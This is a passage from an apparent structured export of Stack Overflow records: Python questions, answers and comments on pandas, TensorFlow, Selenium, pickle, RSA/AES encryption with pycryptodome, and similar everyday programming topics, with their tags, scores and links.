wrong, but i get the impression that Scrapy's FilesystemCacheStorage might not be managing it's cache (storage limitations) all that well (?) . Might it be better to use LevelDB ?
accepted answer: http://stackoverflow.com/a/49716392
answer count: 1
has comment: http://stackoverflow.com/comment/86186474
tagged with: alpine-linux
tagged with: scrapy
has comment: http://stackoverflow.com/comment/86185784
type: AnsweredQuestion
has comment: http://stackoverflow.com/comment/86186044
has comment: http://stackoverflow.com/comment/86186176
has comment: http://stackoverflow.com/comment/86186012
has comment: http://stackoverflow.com/comment/86186096
tagged with: python
has comment: http://stackoverflow.com/comment/86185859
has comment: http://stackoverflow.com/comment/86185996
tagged with: caching
has comment: http://stackoverflow.com/comment/86187089
tagged with: tmpfs
has comment: http://stackoverflow.com/comment/86186062
type: Question
score: 0
has comment: http://stackoverflow.com/comment/86433694
has title: How to best handle Scrapy cache at 'OSError: [Errno 28] No space left on device' failure?

http://stackoverflow.com/a/71855750
answers question: http://stackoverflow.com/q/49446181
downvote count: 0
has body: To solve this set some --add-opens as it is explained here https://stackoverflow.com/a/71855571/13547620.
type: Answer
upvote count: 2
score: 2

http://stackoverflow.com/a/57043736
has body: I believe this solution works as well, at least for positive numbers. I tested some data sets in conjunction with your answer, and they both work similarly to my knowledge. (sorted_dict is the dictionary sorted by its keys numerically) length = 0 for value in sorted_dict.values(): length += value half = length / 2 sum_var = 0 #finds the index of the middle of the dataset for val in sorted_dict.values(): if half-sum_var &gt; 0: sum_var += val else: break index = (list(sorted_dict.values()).index(val)) #returns the median based off some characteristics of the dataset if sum(list(sorted_dict.values())[index:]) != sum(list(sorted_dict.values())[:index]): if sum(list(sorted_dict.values())[index:]) &gt; sum(list(sorted_dict.values())[:index]): median = list(sorted_dict.keys())[index] else: median = list(sorted_dict.keys())[index-1] else: median = (list(sorted_dict.keys())[index-1] + list(sorted_dict.keys())[index]) / 2 return(median)
downvote count: 0
upvote count: 1
score: 1
type: Answer
answers question: http://stackoverflow.com/q/49494078

http://stackoverflow.com/comment/86107829
type: Comment
comment on: http://stackoverflow.com/a/49540101
type: AnswerComment
score: 0
has text: Thank you for your ans (this is my first time asking a Q in SO) !! I think this would really solve the problem. By assigning the global to a new local n then using it. And it would also help in avoiding inadvertently changing the global variables value.

http://stackoverflow.com/comment/86170253
score: 1
type: Comment
type: QuestionComment
has text: The answer explains the error, which is that you cannot address a list element that is not already there.
comment on: http://stackoverflow.com/q/49580953

http://stackoverflow.com/q/49576562
tagged with: pandas
tagged with: python
accepted answer: http://stackoverflow.com/a/49576714
type: Question
has answer: http://stackoverflow.com/a/49576714
score: 0
answer count: 2
has answer: http://stackoverflow.com/a/49577030
has title: python/pandas - Transformed value_counts by Category
has body: I have a table that looks something like this: +------------+------------+------------+------------+ | Category_1 | Category_2 | Category_3 | Category_4 | +------------+------------+------------+------------+ | a | b | b | y | | a | a | c | y | | c | c | c | n | | b | b | c | n | | a | a | a | y | +------------+------------+------------+------------+ I'm hoping for a pivot_table like result, with the counts of the frequency for each category. Something like this: +---+------------+----+----+----+ | | | a | b | c | +---+------------+----+----+----+ | | Category_1 | 12 | 10 | 40 | | y | Category_2 | 15 | 48 | 26 | | | Category_3 | 10 | 2 | 4 | | | Category_1 | 5 | 6 | 4 | | n | Category_2 | 9 | 5 | 2 | | | Category_3 | 8 | 4 | 3 | +---+------------+----+----+----+ I know I could pull it off by splitting the table, assigning value_counts to column values, then rejoining. Is there any more simple, more 'pythonic' way of pulling this off? I figure it may along the lines of a pivot paired with a Transform, but tests so far have been ugly at best.
type: AnsweredQuestion
possible better answer: http://stackoverflow.com/a/49577030

http://stackoverflow.com/q/49492516
tagged with: iframe
tagged with: selenium
has body: I am testing complex and non-public webpages with python-selenium, which have interconnected iframes. To proper click on a button or select some given element in a different iframe I have to switch to that iframe . Now, as contents of the pages might reload to the correct iframe I constantly have to check if the correct iframe is loaded yet, otherwise I have to go back to the default content, do the check again etc. I find this completely annoying and user-unfriendly behavior of selenium. Is there a basic workaround to find e.g. an element in ANY iframe? Because I do not care about iframes. I care about elements...
favorite count: 0
has comment: http://stackoverflow.com/comment/85988707
type: Question
has title: Is there a workaround to avoid iframes in selenium testing?
type: UnansweredQuestion
tagged with: python
has answer: http://stackoverflow.com/a/49493205
has answer: http://stackoverflow.com/a/49492946
has comment: http://stackoverflow.com/comment/85988535
has comment: http://stackoverflow.com/comment/85988618
answer count: 2
downvote count: 0
has comment: http://stackoverflow.com/comment/85988830
score: 1
upvote count: 1

http://stackoverflow.com/q/49516612
type: AnsweredQuestion
score: 3
upvote count: 3
has comment: http://stackoverflow.com/comment/86235823
tagged with: visualization
downvote count: 0
has comment: http://stackoverflow.com/comment/86236301
answer count: 1
has answer: http://stackoverflow.com/a/49619781
favorite count: 0
type: Question
has body: Is there any way I can visualize the output of CNN or pooling layer while training or even testing in tflearn? I have seen visualization code of tensorflow but since session and feeddict are involved their and I keep getting error like "unhashable numpy.ndarray" but my dimensions of the image are same so I decided to ask whether there is a way I can visualize the output of any layer. Below is my tflearn layers code:- X_train, X_test, y_train, y_test=cross_validation.train_test_split(data,labels,test_size=0.1) tf.reset_default_graph() convnet=input_data(shape=[None,50,50,3],name='input') convnet=conv_2d(convnet,32,5,activation='relu') convnet=max_pool_2d(convnet,5) convnet=conv_2d(convnet,64,5,activation='relu') convnet=max_pool_2d(convnet,5) convnet=conv_2d(convnet,32,5,activation='relu') convnet=max_pool_2d(convnet,5) convnet=fully_connected(convnet,128,activation='relu') convnet=dropout(convnet,0.4) convnet=fully_connected(convnet,6,activation='softmax') convnet=regression(convnet,optimizer='adam',learning_rate=0.005,loss='categorical_crossentropy',name='MyClassifier') model=tflearn.DNN(convnet,tensorboard_dir='log',tensorboard_verbose=0) model.fit(X_train,y_train, n_epoch=20,validation_set=(X_test,y_test), snapshot_step=20,show_metric=True,run_id='MyClassifier') print("Saving the model") model.save('model.tflearn') How can I visualize output from any layer either while training or testing anyway will work? By output I mean the distorted image detecting edges or other low level features. Thank you.
has title: Visualize CNN layer or pooling layer in tflearn
has comment: http://stackoverflow.com/comment/86235127
tagged with: tflearn
tagged with: python
accepted answer: http://stackoverflow.com/a/49619781

http://stackoverflow.com/q/49503040
has body: What is the easiest way to get this Date and Time in two separate columns into a Pandas to_datetime (with the correct formatting) and set it as the index? Date Time Open High Low Close Volume 20180316 1935 178.15 178.24 178.15 178.24 5000.0 20180316 1937 178.04 178.04 178.04 178.04 80.0 20180316 1939 178.06 178.06 178.06 178.06 300.0 20180316 1946 178.01 178.01 178.01 178.01 50.0 Here are the dtypes for reference Date int64 Time int64 Open float64 High float64 Low float64 Close float64 Volume float64
has title: How to get date and time in two columns into pandas to_datetime and set as index
linked to: http://stackoverflow.com/q/17978092
score: 0
tagged with: pandas
duplicate of: http://stackoverflow.com/q/17978092
answer count: 1
has answer: http://stackoverflow.com/a/49503070
type: Question
type: UnansweredQuestion
tagged with: python

http://stackoverflow.com/comment/86013674
has text: Actually, as pasted, this gets a `SyntaxError` from Python and won't run at all. You have unescaped double-quotes inside double-quoted strings, which means things like `\t` aren't inside strings, which is illegal.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49504751
score: 0

http://stackoverflow.com/comment/86053301
comment on: http://stackoverflow.com/q/49523145
type: QuestionComment
has text: @zvone is there a destructor-like equivalent in python?
score: 0
type: Comment

http://stackoverflow.com/a/49595066
has body: If you are just creating a list within a list, there is no need to use classes: def map2d(x, y): return [[None for _ in range(y)] for _ in range(x)] print(map2d(3, 2)) # [[None, None], [None,None], [None,None]] This will give you the desired output. Also, note that if you are looking to customize the way a class is printed, you should use the method __str__, eg: class Example: def __str__(self): return "Example Class Object" print(Example()) # Example Class Object
score: 1
downvote count: 0
upvote count: 1
has comment: http://stackoverflow.com/comment/86197434
type: Answer
has comment: http://stackoverflow.com/comment/86197457
answers question: http://stackoverflow.com/q/49595038

http://stackoverflow.com/comment/86105792
comment on: http://stackoverflow.com/q/49547604
type: Comment
type: QuestionComment
has text: Can you isolate the problem further?
score: 0

http://stackoverflow.com/comment/86070408
type: QuestionComment
score: 0
has text: try gevent if you want to make you async program code like sync structure!
type: Comment
comment on: http://stackoverflow.com/q/49531003

http://stackoverflow.com/q/49542418
tagged with: scikit-learn
has body: I have clustered my data (12000, 3) using sklearn Gaussian mixture model algorithm (GMM). I have 3 clusters. Each point of my data represents a molecular structure. I would like to know how could I sampled each cluster. I have tried with the function: gmm = GMM(n_components=3).fit(Data) gmm.sample(n_samples=20) but it does preform a sampling of the whole distribution, but I need a sample of each one of the components.
answer count: 1
has answer: http://stackoverflow.com/a/49543267
type: Question
type: UnansweredQuestion
tagged with: gmm
has title: How can I sample the different components of a GMM distribution?
tagged with: python
score: 0

http://stackoverflow.com/q/49564318
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49565377
tagged with: python
tagged with: tf-slim
type: AnsweredQuestion
has title: Issue with fine-tuning inceptionv3 in slim tensorflow and tf record batches
linked to: http://stackoverflow.com/q/45203872
tagged with: deep-learning
downvote count: 0
has answer: http://stackoverflow.com/a/49565377
score: 1
upvote count: 1
linked to: http://stackoverflow.com/q/43028683
tagged with: tfrecord
answer count: 1
has body: I am trying to fine-tune inceptionv3 model using slim tensorflow library. I am unable to understand certain things while writing the code for it. I tried to read source code (no proper documentation) and figured out few things and I am able to fine-tune it and save the check point. Here are the steps I followed 1. I created a tf.record for my training data which is fine, now I am reading the data using the below code. import tensorflow as tf import tensorflow.contrib.slim.nets as nets import tensorflow.contrib.slim as slim import matplotlib.pyplot as plt import numpy as np # get the data and labels here data_path = '/home/sfarkya/nvidia_challenge/datasets/detrac/train1.tfrecords' # Training setting num_epochs = 100 initial_learning_rate = 0.0002 learning_rate_decay_factor = 0.7 num_epochs_before_decay = 5 num_classes = 5980 # load the checkpoint model_path = '/home/sfarkya/nvidia_challenge/datasets/detrac/inception_v3.ckpt' # log directory log_dir = '/home/sfarkya/nvidia_challenge/datasets/detrac/fine_tuned_model' with tf.Session() as sess: feature = {'train/image': tf.FixedLenFeature([], tf.string), 'train/label': tf.FixedLenFeature([], tf.int64)} # Create a list of filenames and pass it to a queue filename_queue = tf.train.string_input_producer([data_path], num_epochs=1) # Define a reader and read the next record reader = tf.TFRecordReader() _, serialized_example = reader.read(filename_queue) # Decode the record read by the reader features = tf.parse_single_example(serialized_example, features=feature) # Convert the image data from string back to the numbers image = tf.decode_raw(features['train/image'], tf.float32) # Cast label data into int32 label = tf.cast(features['train/label'], tf.int32) # Reshape image data into the original shape image = tf.reshape(image, [128, 128, 3]) # Creates batches by randomly shuffling tensors images, labels = tf.train.shuffle_batch([image, label], batch_size=64, capacity=128, num_threads=2, min_after_dequeue=64) Now I am finetunin…
tagged with: tensorflow

http://stackoverflow.com/q/49516240
accepted answer: http://stackoverflow.com/a/49516522
has body: When I preserve the object to file with pickle, is the file will be expired when I update the python interpreter(for example from 3.6.4 to 3.7.0r1) or change the implementation of python(for example from cpython to pypy)? If it does, is there a range of compatibility to allow upgrade of platform? Or is there a tools to convert these dumped file to adapt new platform?
tagged with: pickle
tagged with: python
has title: Is the file dumped by pickle strictly limited by version and implementation of Python?
score: 2
upvote count: 2
type: AnsweredQuestion
answer count: 2
has answer: http://stackoverflow.com/a/49516436
possible better answer: http://stackoverflow.com/a/49516436
downvote count: 0
favorite count: 0
type: Question
has answer: http://stackoverflow.com/a/49516522

http://stackoverflow.com/q/49597455
answer count: 1
accepted answer: http://stackoverflow.com/a/49597729
upvote count: 1
downvote count: 1
has answer: http://stackoverflow.com/a/49597729
favorite count: 0
type: Question
has body: For my python script I need to read in big arrays of up to a billion elements. I read one array in and process it. After processing I do not need the input anymore. Then I read the second array in and process it and again don't need the input anymore. Is it necessary to explicitly free arrays I won't ever call again after processing it or is this done automatically by the garbage collection? At the moment I only have 4 arrays and not yet any memory issues, will this become problematic if I have 100 of those arrays?
linked to: http://stackoverflow.com/q/6146963
tagged with: python
tagged with: memory
type: AnsweredQuestion
score: 0
has title: Do I need to free memory when using big arrays in python

http://stackoverflow.com/q/49495424
type: Question
has comment: http://stackoverflow.com/comment/85995144
answer count: 0
type: UnansweredQuestion
tagged with: python
has body: I have a sparse matrix M when I run type(M), I get scipy.sparse.csr.csr_matrix However, when I use the matrix in sparesvd function as U, S, Vt = sparsesvd(M, K) I get an error: TypeError: First argument must be a scipy.sparse.csc_matrix Are those two not the same types?
score: 0
has title: scipy sparse matrix and sparsesvd
has comment: http://stackoverflow.com/comment/85999262
has comment: http://stackoverflow.com/comment/85997838
has comment: http://stackoverflow.com/comment/85995191
tagged with: scipy

http://stackoverflow.com/a/66261284
answers question: http://stackoverflow.com/q/49503748
type: Answer
has body: Anyone trying to use @Yu-Yang's solution in a distributed setting might run in the following error: ValueError: Trying to create optimizer slot variable under the scope for tf.distribute.Strategy (&lt;tensorflow.python.distribute.distribute_lib._DefaultDistributionStrategy object at 0x7fdf357726d8&gt;), which is different from the scope used for the original variable (MirroredVariable:{ 0: &lt;tf.Variable 'conv2d_1/kernel:0' shape=(1, 1, 1, 1) dtype=float32, numpy=array([[[[-0.9592359]]]], dtype=float32)&gt; }). Make sure the slot variables are created under the same strategy scope. This may happen if you're restoring from a checkpoint outside the scope or similar. To solve this problem, you simply need to run the model's optimizer weights setting on each replica using the following: import tensorflow as tf strat = tf.distribute.MirroredStrategy() with strat.scope(): model = tf.keras.models.Sequential([tf.keras.layers.Conv2D(1, 1, padding='same')]) model.compile(optimizer='adam', loss='mse') model(tf.random.normal([1, 16, 16, 1])) model.load_weights('model_weights.hdf5') def model_weight_setting(): grad_vars = model.trainable_weights zero_grads = [tf.zeros_like(w) for w in grad_vars] model.optimizer.apply_gradients(zip(zero_grads, grad_vars)) with open('optimizer.pkl', 'rb') as f: weight_values = pickle.load(f) model.optimizer.set_weights(weight_values) strat.run(model_weight_setting) For some reason, this isn't needed for setting the model weights, but make sure that you create (via the call here) and load the weights of the model within the strategy scope or you might get an error along the lines of ValueError: Trying to create optimizer slot variable under the scope for tf.distribute.Strategy (&lt;tensorflow.python.distribute.collective_all_reduce_strategy.CollectiveAllReduceStrategy object at 0x14ffdce82c50&gt;), which is different from the scope used for the original variable. If you want the full-on example, I created a colab showcasing this solution.
score: 2
upvote count: 2
downvote count: 0

http://stackoverflow.com/comment/86209023
score: 0
type: Comment
type: QuestionComment
has text: @Prateek as i said my code doesn't handle the connection part, i just launch the streamer of tweepy with one fonction and then tweepy handle the connection
comment on: http://stackoverflow.com/q/49530034

http://stackoverflow.com/comment/86186018
has text: Thanks, I will try that! I tried to rewrite the question to clear that up! Basically I wanted to redirect everyone from all pages to the alarm page at the alarm event. Mybe this is my big mistake that this makes no sense an i need to modify my other pages to deal with that.
type: Comment
score: 0
type: AnswerComment
comment on: http://stackoverflow.com/a/49498647

http://stackoverflow.com/comment/86084722
type: QuestionComment
has text: I think it's normal that it's changing for changed test set... unless you have accuracy `1.0`, which is happening because of `data leakage` - you definitely don't want this situation...
comment on: http://stackoverflow.com/q/49538377
score: 0
type: Comment

http://stackoverflow.com/a/49517608
has body: You can also transpose and unstack specific layers df.set_index(['cat', 'id']).T.stack().unstack(0) cat A B C v1 v2 v1 v2 v1 v2 id 36 1 2 3 4 5 6 97 7 8 9 10 11 12
upvote count: 3
downvote count: 0
answers question: http://stackoverflow.com/q/49517237
score: 3
type: Answer

http://stackoverflow.com/q/49490713
has comment: http://stackoverflow.com/comment/85985796
tagged with: jupyter-notebook
type: Question
has comment: http://stackoverflow.com/comment/85985301
has comment: http://stackoverflow.com/comment/85984563
has answer: http://stackoverflow.com/a/49491504
answer count: 1
has body: I am currently creating a pandas project on stock prices using time series. I have a column stock return that has negative and positive values on the y axis. I have data for the last 5 years and am trying to compare the months of each year in the same graph but when I plot them they separate along the dates rather than overlapping (image below) : fig, ax = plt.subplots() Monthly_Return2017.plot(ax=ax) Monthly_Return2016.plot(ax=ax) Monthly_Return2015.plot(ax=ax) Monthly_Return2014.plot(ax=ax) Monthly_Return2013.plot(ax=ax).axhline(y = 1, color = "black", lw = 2) plt.show() So instead I want to have them split by months Jan-December on the x-axis. Is there anyway I can do this keep the data as a time series. Heres a sample of three of the dataframes. Close Date 2017-01-31 1.000000 2017-02-28 1.033158 2017-03-31 1.041128 2017-04-30 1.137012 2017-05-31 1.210934 2017-06-30 1.140489 2017-07-31 1.167811 2017-08-31 1.178893 2017-09-30 1.203717 2017-10-31 1.275920 2017-11-30 1.281906 2017-12-31 1.313270 Close Date 2016-01-31 1.000000 2016-02-29 0.939188 2016-03-31 1.002692 2016-04-30 0.932781 2016-05-31 0.990268 2016-06-30 0.931557 2016-07-31 1.034780 2016-08-31 1.032438 2016-09-30 1.046221 2016-10-31 1.055979 2016-11-30 1.020311 2016-12-31 1.038859 Close Date 2015-01-31 1.000000 2015-02-28 1.044676 2015-03-31 1.025219 2015-04-30 1.010808 2015-05-31 1.000970 2015-06-30 0.979148 2015-07-31 1.176855 2015-08-31 1.163010 2015-09-30 1.144519 2015-10-31 1.337128 2015-11-30 1.396929 2015-12-31 1.427554 Any help would be greatly appreciated.
has comment: http://stackoverflow.com/comment/85984825
has title: Use one graph for multiple timeseries dataframes pandas
has comment: http://stackoverflow.com/comment/85984490
type: AnsweredQuestion
score: 0
accepted answer: http://stackoverflow.com/a/49491504
tagged with: pandas
tagged with: matplotlib
tagged with: python
has comment: http://stackoverflow.com/comment/85984999

http://stackoverflow.com/a/49510593
type: Answer
accepted answer of: http://stackoverflow.com/q/49510416
score: 0
answers question: http://stackoverflow.com/q/49510416
has comment: http://stackoverflow.com/comment/86025557
type: AcceptedAnswer
has comment: http://stackoverflow.com/comment/86026036
has body: You will want to add the following lines before your plt.show() call. # get the axis ax = plt.gca() # enforce placement of x-axis at y=0 # option 1) ax.spines['bottom'].set_position('zero') # option 2) ax.spines['bottom'].set_position(('data', 0.))

http://stackoverflow.com/comment/86181103
has text: As stated in my post, path is the name of the new directory. self.dir is the current working directory, same as os.getcwd()
comment on: http://stackoverflow.com/q/49586603
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/comment/88913251
has text: I'm seeing the same issue, the only solution was to remove the Pipfile.lock file and committing that
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49460486
score: 0

http://stackoverflow.com/comment/85986578
comment on: http://stackoverflow.com/q/49490854
type: QuestionComment
has text: what version of django are you using?
score: 0
type: Comment

http://stackoverflow.com/comment/85959622
comment on: http://stackoverflow.com/a/49478339
type: Comment
has text: Yeah, that's true. I was just going by the OP's general method, but you could just do `df[~(df['x'] < df['y'])]`, would achieve the same (or one of the other filtering methods outlined in other answers)
type: AnswerComment
score: 0

http://stackoverflow.com/comment/86081040
type: QuestionComment
score: 0
comment on: http://stackoverflow.com/q/49536970
has text: Downvoted because this question is vague, badly formatted and written (enough to distract the reader).
type: Comment

http://stackoverflow.com/comment/86037822
score: 1
type: QuestionComment
has text: An [mcve], including some data that runs with your function, would be helpful here.
comment on: http://stackoverflow.com/q/49514425
type: Comment

http://stackoverflow.com/comment/85984008
score: 1
has text: The issue here from your Traceback is that `ElementTree` objects don't have children, but `Element` objects do. So you need to build the tree and then get the root element to use `getchildren()`. I imagine abarnert was using `tree = ET.fromstring(...)` which builds the tree and returns the root element, whereas user997112 is using `tree = ET.parse('file.xml')`. Really you should either do: `root = ET.fromstring(xml_file_as_a_string)` OR: `tree = ET.parse('file.xml')` then `root = tree.getroot()`
type: Comment
comment on: http://stackoverflow.com/a/49455238
type: AnswerComment

http://stackoverflow.com/q/49552334
has comment: http://stackoverflow.com/comment/86111756
has comment: http://stackoverflow.com/comment/86139029
tagged with: rsa
upvote count: 1
score: 1
has comment: http://stackoverflow.com/comment/86138721
favorite count: 0
has body: i use the python package " pycryptodome " to send encrypted data using RSA + AES which is Hybrid cipher. but i face a problem after encrypting the message which is the code store the encrypted data in a file called "encrypted_data.bin" which contains the data + tag + nonce. so i want to send this file to the other end so the receiver can decrypt it. and in every message i sent should i sign it and store the message in a file ? Here is my code: from Crypto.PublicKey import RSA from Crypto.Random import get_random_bytes from Crypto.Cipher import AES, PKCS1_OAEP def encrypt(msg): file_out = open("encrypted_data.bin", "wb") f = open("public_key.pem") recipient_key = RSA.import_key(f.read()) f.close() session_key = get_random_bytes(16) # Encrypt the session key with the reciever's public RSA key cipher_rsa = PKCS1_OAEP.new(recipient_key) file_out.write(cipher_rsa.encrypt(session_key)) # Encrypt the data with the AES session key cipher_aes = AES.new(session_key, AES.MODE_EAX) ciphertext, tag = cipher_aes.encrypt_and_digest(msg) print(ciphertext) [ file_out.write(x) for x in (cipher_aes.nonce, tag, ciphertext) ] #add the cipherText to the encrypted_data.bin file file_out.close() encrypt(b'This is my secret message')
type: Question
has comment: http://stackoverflow.com/comment/86138688
answer count: 0
downvote count: 0
type: UnansweredQuestion
tagged with: python
has comment: http://stackoverflow.com/comment/86137518
has comment: http://stackoverflow.com/comment/86139620
has title: How to send the RSA encrypted data in " encrypted_data.bin "?

http://stackoverflow.com/comment/86084228
comment on: http://stackoverflow.com/a/49536052
type: AnswerComment
score: 0
has text: While this code may answer the question, providing additional context regarding **how** and/or **why** it solves the problem would improve the answer's long-term value.
type: Comment

http://stackoverflow.com/comment/86184925
score: 0
has text: @user202729: Yes but not like C++'s. There is no one type to describe the given data structure like there is in C++. Python is not statically typed.
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49588498

http://stackoverflow.com/comment/86072778
score: 0
comment on: http://stackoverflow.com/a/49531693
has text: I've updated my previous comment. You can use `arguments[0].childNodes[N]` to get N-th node
type: Comment
type: AnswerComment

http://stackoverflow.com/a/49837313
answers question: http://stackoverflow.com/q/49515975
type: Answer
score: 0
has body: Program 1: Foreach file in input directory INSERT IGNORE into database the MD5 of the file "mv" the file to the archive directory Program 2, a "keep-alive" program. It is run via cron every minute and tries to launch Program 1, but don't start it if it is already running. Notes: 'mv' and 'cron' assume Unix. If using Windows, do the equivalent. 'mv' is atomic, so the file will be either in one directory of the other; no hassle of knowing whether it is 'processed'. (So, I wonder why you even have a database table??) Since the INSERT and mv cannot realistically be done "atomically", here is why my plan is safe: IGNORE. The "is it running" can be handled in a number of ways, either in Program 1 or 2. You could add a timestamp and/or filename to the table containing the md5; whatever you like. Since it is not a good idea to have even 10K files in a directory, you should use something other than the pair of flat directories I have envisioned. You are getting only about 1 file every 3 seconds. This is not a heavy load unless the files are huge. Then it becomes an I/O problem, not a database problem. I have a feeling that either I am missing a hidden 'requirement', or you are being extra paranoid. I don't really understand what you need to do with the files.

http://stackoverflow.com/q/49550692
favorite count: 0
type: Question
tagged with: configure
upvote count: 2
tagged with: pip
tagged with: python
type: AnsweredQuestion
tagged with: python-2.7
has body: I need to install python2.7.14 from the sources and I'd like to include pip in the installation, how can I accomplish that? I think this will be done via the --with-PACKAGE switch in the configure script. I tried: ./configure --enable-shared --with-pip=yes ./configure --enable-shared --with-pip-9.0.1=yes ./configure --enable-shared --with-pip-9.0.1-py2=yes Every time I got an unrecognized option warning when I ran either of the above command. So how is it possible to include the pip package?
score: 1
has answer: http://stackoverflow.com/a/49558336
answer count: 1
accepted answer: http://stackoverflow.com/a/49558336
has title: How to include the pip package in python2.7.14 installation from sources
downvote count: 1

http://stackoverflow.com/comment/85969575
comment on: http://stackoverflow.com/q/49483226
has text: If you want us to debug this, we need to see the entire exception traceback, not just part of the first line, and we need to see a [mcve], not just a fragment of code that doesn't contain the part that's probably in error.
type: Comment
type: QuestionComment
score: 0

http://stackoverflow.com/comment/86049557
type: AnswerComment
score: 1
comment on: http://stackoverflow.com/a/49518843
type: Comment
has text: @martineau, the result is slow because build indexes will take some times, but as what I explained, once build, you don't need to loop the list. For example, we can take 10secs to build indexes when launch the program, then when the user want to search one sub_lst, it will only take less 10ms. For other solutions, it will take more than 10ms even worse if the large list is very huge. Because other solutions will loop whole list for each search. But hash solution will only execute whole list scan once. That is why my `timeit` only execute `check_sublist()`.

http://stackoverflow.com/q/49574080
type: AnsweredQuestion
score: 0
tagged with: pandas
has answer: http://stackoverflow.com/a/49574241
answer count: 1
has title: Using colon (:) operator to create DataFrame slices via a function call
type: Question
has body: I would like to define a function which returns an index into a DataFrame. For example, I have import pandas as pd df = pd.DataFrame({'A':['a', 'a', 'b'], 'B':[1,2,3], 'C':[1.1, 2.2 ,3.3]}) df = df.set_index(['A', 'B']) I can then slice into the DataFrame via df.loc['a',1] or df.loc['a',:] which will return the values in C matching the conditions on the index A and B. In the first case, I would get one value, in the second case two. Instead of explicitly writing the index each time, I would like to define a function which generates this automatically. My pseudo function (which does not work) could be, def func(df, a, b=None): if b is None: b = ':' return df.loc[a,b] With this, I would like to be able to do something like func(df, 'a', 1) and func(df, 'a', None) to get the same as if directly calling df.loc['a',1] or df.loc['a',:] respectively. As I have multiple levels in my index, it would be very useful to have a way of defining the : operator if the argument passed to the function is None. Update: I have quite a few levels in the index, i.e. that I would like to avoid writing an if statement for every possible combination of None's which I could have. For example, assume I have four levels in the index. It would be great to do something like, # Does not work def func(df, a, b=None, c=None, d=None): if b is None: b = ':' if c is None: c = ':' if d is None: d = ':' return df.loc[a,b,c,d] instead of writing an if statement for every combination of None in the arguments (7 in this case).
accepted answer: http://stackoverflow.com/a/49574241
tagged with: dataframe
tagged with: python

http://stackoverflow.com/comment/86193852
score: 0
has text: @MaxU I've added the required dataset. Basically, I want all dates first then remove all saturdays and sundays if posiibles and then fill ffil/bfill in values. Please let me know if this is possible?
comment on: http://stackoverflow.com/q/49593077
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49590693
linked to: http://stackoverflow.com/q/16004407
downvote count: 2
has body: I have just picked up learing python and I am trying to create a simple function which accepts an integer and returns a list of all primes from 2 to that integer. I have created the function but code doesn't seem to work. I have found solutions only for more efficient (and complex) methodes (like this one Finding prime numbers using list comprehention) for this problem which don't really help me in finding my mistake. def list_of_primes(n): primes = [] for y in range (2, n): for z in range(2, y): if y % x == 0: continue else: primes.append(y) primes.sort() return primes What is wrong with the code?
tagged with: python
linked to: http://stackoverflow.com/q/31045518
tagged with: primes
favorite count: 0
accepted answer: http://stackoverflow.com/a/49590773
type: AnsweredQuestion
score: 3
possible better answer: http://stackoverflow.com/a/49590958
tagged with: list
has answer: http://stackoverflow.com/a/49590773
answer count: 3
tagged with: algorithm
has comment: http://stackoverflow.com/comment/86191260
has answer: http://stackoverflow.com/a/49590958
upvote count: 5
has comment: http://stackoverflow.com/comment/86189146
has comment: http://stackoverflow.com/comment/86191242
has comment: http://stackoverflow.com/comment/86189247
has comment: http://stackoverflow.com/comment/86189291
has answer: http://stackoverflow.com/a/49590786
has title: Return list of primes up to n using for loop
type: Question
has comment: http://stackoverflow.com/comment/86189238

http://stackoverflow.com/q/49472761
answer count: 1
tagged with: pyqt4
has title: How to output youtube-dl log to Pyqt textbox
tagged with: youtube-dl
favorite count: 0
type: Question
accepted answer: http://stackoverflow.com/a/49522084
score: 1
has body: I tried to create a simple PyQt Gui to download youtube videos using urls. Everything works fine, except for the part where i want to output the log of youtube-dl in a textbox in PyQt. Nothing shows up in the textbox when i do this. I created a class called MyLogger(): class MyLogger(object): def debug(self, msg): GUI.e2.setText(str(msg)) def warning(self, msg): GUI.e2.setText(str(msg)) def error(self, msg): GUI.e2.setText(str(msg)) This class is passed to youtube_dl.YoutubeDL using ydl_opts: ydl_opts = {'format':'140','logger':MyLogger()} with youtube_dl.YoutubeDL(ydl_opts) as ydl: ydl.download([url]) GUI is an instance of QtGui.QMainWindow and e2 is an instance of QtGui.QLineEdit() Any help with why this is not working, or maybe other ways to do this, is appreciated. Thanks!
tagged with: python
type: AnsweredQuestion
has answer: http://stackoverflow.com/a/49522084
downvote count: 0
tagged with: pyqt
upvote count: 1

http://stackoverflow.com/comment/85919403
type: Comment
type: QuestionComment
comment on: http://stackoverflow.com/q/49458108
has text: FYI, the way in which you made your dataframes might work for `R` (if you fix the quotation mark problem), but not `pandas`. It would be helpful if you posted dataframes that can be used in python if you're looking for a `pandas` solution
score: 2

http://stackoverflow.com/comment/86167386
has text: How are you checking the value of `id`? In the view you have posted you are only using it in the `POST` part. Perhaps there's a problem somewhere else in your URLs. Note that your URL is for `http://127.0.0.1:8000/requests/admin/10/` *with* a trailing slash.
comment on: http://stackoverflow.com/q/49579276
score: 0
type: Comment
type: QuestionComment

http://stackoverflow.com/q/49563556
tagged with: list
has comment: http://stackoverflow.com/comment/86144053
has title: How to return items from a multi-dimensional list using regex search
answer count: 1
has answer: http://stackoverflow.com/a/49583218
upvote count: 1
downvote count: 1
favorite count: 0
type: Question
tagged with: python-3.x
tagged with: python
accepted answer: http://stackoverflow.com/a/49583218
tagged with: regex
has body: I looking for help with solving a problem in Python 3: using search with RE module in multi-dimensional list and after return chunk of data from the list Here is example how far I am: import re # my search input my_list = [["10","ten","bottles"], ["9","seven","bottles"], ["8","eight","bottles"]] # search input def some_input(prompt): while True: try: my_search = int(input(prompt)) except ValueError: print( "ERROR: Please enter your account number \ \nContinue...\n" ) else: break return str(my_search) # search for match def find_my_input(): search = some_input("Search &gt;&gt;&gt; ") regex = re.compile(search) for item in my_list: new_list = filter(regex.match, my_list) if item == new_list: break else: continue Let's say my input is: 9 and expected output is: ["9","seven","bottles"]
has comment: http://stackoverflow.com/comment/86148619
type: AnsweredQuestion
score: 0

http://stackoverflow.com/comment/86028513
type: QuestionComment
has text: Testing the output of the program, didn't keep them there
score: 0
comment on: http://stackoverflow.com/q/49510430
type: Comment

periodicity
tag name: periodicity
type: Tag
tags question: http://stackoverflow.com/q/49534956

http://stackoverflow.com/q/49538705
tagged with: python-3.x
answer count: 2
score: 5
linked to: http://stackoverflow.com/q/19775692
type: UnansweredQuestion
tagged with: validation
upvote count: 5
downvote count: 0
tagged with: file
tagged with: python
